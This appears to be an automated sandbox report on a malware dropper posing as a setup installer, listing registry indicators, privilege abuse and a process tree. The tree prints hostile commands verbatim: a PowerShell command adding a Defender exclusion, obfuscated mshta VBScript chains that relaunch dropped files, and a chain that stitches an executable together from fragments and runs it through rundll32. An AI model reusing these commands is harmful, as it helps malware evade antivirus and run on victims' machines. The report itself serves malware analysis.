Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe

Modifies registry class 6 IoCs

Processes:

Calculator.exeCalculator.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-257790753-2419383948-818201544-1000\{F4A80EFF-F185-4758-B61B-81DAE2786E95}	Calculator.exe
Key created	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5b934b42-522b-4c34-bbfe-37a3ef7b9c90}\Instance\
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{f8278c54-a712-415b-b593-b77a2be0dda9}\Instance\
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-257790753-2419383948-818201544-1000\{85F746F3-0827-471C-A1F4-58722F0C5EE2}	Calculator.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeMon20d3b8b752.exe

pid	Process
2568	powershell.exe
2568	powershell.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe
3084	Mon20d3b8b752.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid	Process
3212

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

XYTsIPvUlrMFwA4Hz1n91jab.exe

pid	Process
5392	XYTsIPvUlrMFwA4Hz1n91jab.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

Processes:

WinHoster.exe

pid	Process
2016	WinHoster.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

svchost.exeMon209b3da1556b9a317.exepowershell.exeWerFault.exeMon206d48916f93c5.exeDownFlSetup110.exesvchost.exe4.exe3307780.scr8cgEKMgzGbfI8ysrypzZt8ej.exe2340160.scr4041417.scrsvchost.exetaskkill.exe2422169.scrtaskkill.exeChrome 5.exe

description	pid	Process
Token: SeSystemtimePrivilege	4780	svchost.exe
Token: SeSystemtimePrivilege	4780	svchost.exe
Token: SeIncBasePriorityPrivilege	4780	svchost.exe
Token: SeDebugPrivilege	2272	Mon209b3da1556b9a317.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeRestorePrivilege	2784	WerFault.exe
Token: SeBackupPrivilege	2784	WerFault.exe
Token: SeBackupPrivilege	2784	WerFault.exe
Token: SeDebugPrivilege	3660	Mon206d48916f93c5.exe
Token: SeDebugPrivilege	1604	DownFlSetup110.exe
Token: SeShutdownPrivilege	3092	svchost.exe
Token: SeCreatePagefilePrivilege	3092	svchost.exe
Token: SeShutdownPrivilege	3092	svchost.exe
Token: SeCreatePagefilePrivilege	3092	svchost.exe
Token: SeDebugPrivilege	5148	4.exe
Token: SeDebugPrivilege	1484	3307780.scr
Token: SeShutdownPrivilege	3092	svchost.exe
Token: SeCreatePagefilePrivilege	3092	svchost.exe
Token: SeCreateTokenPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeAssignPrimaryTokenPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeLockMemoryPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeIncreaseQuotaPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeMachineAccountPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeTcbPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeSecurityPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeTakeOwnershipPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeLoadDriverPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeSystemProfilePrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeSystemtimePrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeProfSingleProcessPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeIncBasePriorityPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeCreatePagefilePrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeCreatePermanentPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeBackupPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeRestorePrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeShutdownPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeDebugPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeAuditPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeSystemEnvironmentPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeChangeNotifyPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeRemoteShutdownPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeUndockPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeSyncAgentPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeEnableDelegationPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeManageVolumePrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeImpersonatePrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeCreateGlobalPrivilege	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: 31	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: 32	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: 33	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: 34	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: 35	5204	8cgEKMgzGbfI8ysrypzZt8ej.exe
Token: SeDebugPrivilege	5396	2340160.scr
Token: SeDebugPrivilege	5436	4041417.scr
Token: SeShutdownPrivilege	3592	svchost.exe
Token: SeCreatePagefilePrivilege	3592	svchost.exe
Token: SeDebugPrivilege	5468	taskkill.exe
Token: SeDebugPrivilege	5588	2422169.scr
Token: SeDebugPrivilege	5352	taskkill.exe
Token: SeDebugPrivilege	5536	Chrome 5.exe
Token: SeShutdownPrivilege	3212
Token: SeCreatePagefilePrivilege	3212
Token: SeShutdownPrivilege	3212
Token: SeCreatePagefilePrivilege	3212

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

l6kR1XSSRKVBEoCfGITIQX0l.exeCalculator.exe

pid	Process
5480	l6kR1XSSRKVBEoCfGITIQX0l.exe
6328	Calculator.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	Process	procid_target
PID 4012 wrote to memory of 1124	4012	setup_x86_x64_install.exe	83
PID 4012 wrote to memory of 1124	4012	setup_x86_x64_install.exe	83
PID 4012 wrote to memory of 1124	4012	setup_x86_x64_install.exe	83
PID 1124 wrote to memory of 1608	1124	setup_installer.exe	84
PID 1124 wrote to memory of 1608	1124	setup_installer.exe	84
PID 1124 wrote to memory of 1608	1124	setup_installer.exe	84
PID 1608 wrote to memory of 1408	1608	setup_install.exe	88
PID 1608 wrote to memory of 1408	1608	setup_install.exe	88
PID 1608 wrote to memory of 1408	1608	setup_install.exe	88
PID 1608 wrote to memory of 1636	1608	setup_install.exe	89
PID 1608 wrote to memory of 1636	1608	setup_install.exe	89
PID 1608 wrote to memory of 1636	1608	setup_install.exe	89
PID 1608 wrote to memory of 2260	1608	setup_install.exe	90
PID 1608 wrote to memory of 2260	1608	setup_install.exe	90
PID 1608 wrote to memory of 2260	1608	setup_install.exe	90
PID 1608 wrote to memory of 5092	1608	setup_install.exe	91
PID 1608 wrote to memory of 5092	1608	setup_install.exe	91
PID 1608 wrote to memory of 5092	1608	setup_install.exe	91
PID 1608 wrote to memory of 3144	1608	setup_install.exe	92
PID 1608 wrote to memory of 3144	1608	setup_install.exe	92
PID 1608 wrote to memory of 3144	1608	setup_install.exe	92
PID 1608 wrote to memory of 1988	1608	setup_install.exe	93
PID 1608 wrote to memory of 1988	1608	setup_install.exe	93
PID 1608 wrote to memory of 1988	1608	setup_install.exe	93
PID 1608 wrote to memory of 1784	1608	setup_install.exe	94
PID 1608 wrote to memory of 1784	1608	setup_install.exe	94
PID 1608 wrote to memory of 1784	1608	setup_install.exe	94
PID 1608 wrote to memory of 4728	1608	setup_install.exe	95
PID 1608 wrote to memory of 4728	1608	setup_install.exe	95
PID 1608 wrote to memory of 4728	1608	setup_install.exe	95
PID 1636 wrote to memory of 2184	1636	cmd.exe	99
PID 1636 wrote to memory of 2184	1636	cmd.exe	99
PID 1636 wrote to memory of 2184	1636	cmd.exe	99
PID 1608 wrote to memory of 4200	1608	setup_install.exe	96
PID 1608 wrote to memory of 4200	1608	setup_install.exe	96
PID 1608 wrote to memory of 4200	1608	setup_install.exe	96
PID 1608 wrote to memory of 2852	1608	setup_install.exe	98
PID 1608 wrote to memory of 2852	1608	setup_install.exe	98
PID 1608 wrote to memory of 2852	1608	setup_install.exe	98
PID 1408 wrote to memory of 2568	1408	cmd.exe	97
PID 1408 wrote to memory of 2568	1408	cmd.exe	97
PID 1408 wrote to memory of 2568	1408	cmd.exe	97
PID 1608 wrote to memory of 2596	1608	setup_install.exe	100
PID 1608 wrote to memory of 2596	1608	setup_install.exe	100
PID 1608 wrote to memory of 2596	1608	setup_install.exe	100
PID 1608 wrote to memory of 5116	1608	setup_install.exe	101
PID 1608 wrote to memory of 5116	1608	setup_install.exe	101
PID 1608 wrote to memory of 5116	1608	setup_install.exe	101
PID 1784 wrote to memory of 3660	1784	cmd.exe	111
PID 1784 wrote to memory of 3660	1784	cmd.exe	111
PID 2852 wrote to memory of 3084	2852	cmd.exe	110
PID 2852 wrote to memory of 3084	2852	cmd.exe	110
PID 2852 wrote to memory of 3084	2852	cmd.exe	110
PID 4728 wrote to memory of 3512	4728	cmd.exe	108
PID 4728 wrote to memory of 3512	4728	cmd.exe	108
PID 4728 wrote to memory of 3512	4728	cmd.exe	108
PID 4200 wrote to memory of 3456	4200	cmd.exe	107
PID 4200 wrote to memory of 3456	4200	cmd.exe	107
PID 4200 wrote to memory of 3456	4200	cmd.exe	107
PID 2260 wrote to memory of 3480	2260	cmd.exe	106
PID 2260 wrote to memory of 3480	2260	cmd.exe	106
PID 2260 wrote to memory of 3480	2260	cmd.exe	106
PID 5092 wrote to memory of 4008	5092	cmd.exe	105
PID 5092 wrote to memory of 4008	5092	cmd.exe	105

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4012
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1124
- - C:\Users\Admin\AppData\Local\Temp\7zS46412104\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS46412104\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1608
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1408
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2568
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20762bc3f6.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1636
    - - C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon20762bc3f6.exe
        
        Mon20762bc3f6.exe
        5⤵
        Executes dropped EXE
        
        PID:2184
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon206b909958ed4.exe /mixone
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2260
    - - C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon206b909958ed4.exe
        
        Mon206b909958ed4.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:3480
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3480 -s 280
        6⤵
        Drops file in Windows directory
        Program crash
        Suspicious use of AdjustPrivilegeToken
        
        PID:2784
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20927aab1e5.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5092
    - - C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon20927aab1e5.exe
        
        Mon20927aab1e5.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4008
      - C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon20927aab1e5.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon20927aab1e5.exe
        6⤵
        Executes dropped EXE
        
        PID:5176
      - C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon20927aab1e5.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon20927aab1e5.exe
        6⤵
        Executes dropped EXE
        
        PID:5776
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon204014f13870f5e.exe
      4⤵
      PID:3144
    - - C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon204014f13870f5e.exe
        
        Mon204014f13870f5e.exe
        5⤵
        Executes dropped EXE
        
        PID:4048
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4048 -s 280
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:928
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon203f01ac7e6.exe
      4⤵
      PID:1988
    - - C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon203f01ac7e6.exe
        
        Mon203f01ac7e6.exe
        5⤵
        Executes dropped EXE
        
        PID:4352
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon203f01ac7e6.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon203f01ac7e6.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        6⤵
        
        PID:4516
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon203f01ac7e6.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon203f01ac7e6.exe") do taskkill /F -Im "%~NxU"
        7⤵
        
        PID:5816
        
        C:\Users\Admin\AppData\Local\Temp\09xU.exE
        
        09xU.EXE -pPtzyIkqLZoCarb5ew
        8⤵
        Executes dropped EXE
        
        PID:1968
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        9⤵
        
        PID:5788
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
        10⤵
        
        PID:2544
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
        9⤵
        
        PID:4620
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
        10⤵
        
        PID:5568
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" eCHO "
        11⤵
        
        PID:5092
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
        11⤵
        
        PID:5376
        
        C:\Windows\SysWOW64\control.exe
        
        control .\R6f7sE.I
        11⤵
        Executes dropped EXE
        
        PID:5636
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
        12⤵
        Loads dropped DLL
        
        PID:1200
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
        13⤵
        
        PID:6516
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
        14⤵
        Loads dropped DLL
        
        PID:5512
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F -Im "Mon203f01ac7e6.exe"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5468
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon206d48916f93c5.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1784
    - - C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon206d48916f93c5.exe
        
        Mon206d48916f93c5.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3660
      - C:\Users\Admin\AppData\Roaming\3307780.scr
        
        "C:\Users\Admin\AppData\Roaming\3307780.scr" /S
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1484
      - C:\Users\Admin\AppData\Roaming\5009037.scr
        
        "C:\Users\Admin\AppData\Roaming\5009037.scr" /S
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:4264
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: SetClipboardViewer
        
        PID:2016
      - C:\Users\Admin\AppData\Roaming\3421770.scr
        
        "C:\Users\Admin\AppData\Roaming\3421770.scr" /S
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:884
      - C:\Users\Admin\AppData\Roaming\4957458.scr
        
        "C:\Users\Admin\AppData\Roaming\4957458.scr" /S
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5160
      - C:\Users\Admin\AppData\Roaming\2340160.scr
        
        "C:\Users\Admin\AppData\Roaming\2340160.scr" /S
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5396
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon209c830507d573.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4728
    - - C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon209c830507d573.exe
        
        Mon209c830507d573.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3512
      - C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon209c830507d573.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon209c830507d573.exe
        6⤵
        Executes dropped EXE
        
        PID:5188
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon2083f8d8970a0b2d.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4200
    - - C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon2083f8d8970a0b2d.exe
        
        Mon2083f8d8970a0b2d.exe
        5⤵
        Executes dropped EXE
        
        PID:3456
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3456 -s 256
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:2980
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20d3b8b752.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2852
    - - C:\Users\Admin\AppData\Local\Temp\7zS46412104\Mon20d3b8b752.exe
        
        Mon20d3b8b752.exe
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3084
      - C:\Users\Admin\Pictures\Adobe Films\Qch0fyZlW5qyferIw0bjcsqV.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Qch0fyZlW5qyferIw0bjcsqV.exe"
        6⤵
        Executes dropped EXE
        
        PID:2988
      - C:\Users\Admin\Pictures\Adobe Films\N6BLknPYFACQsBZp40O9Kt6v.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\N6BLknPYFACQsBZp40O9Kt6v.exe"
        6⤵
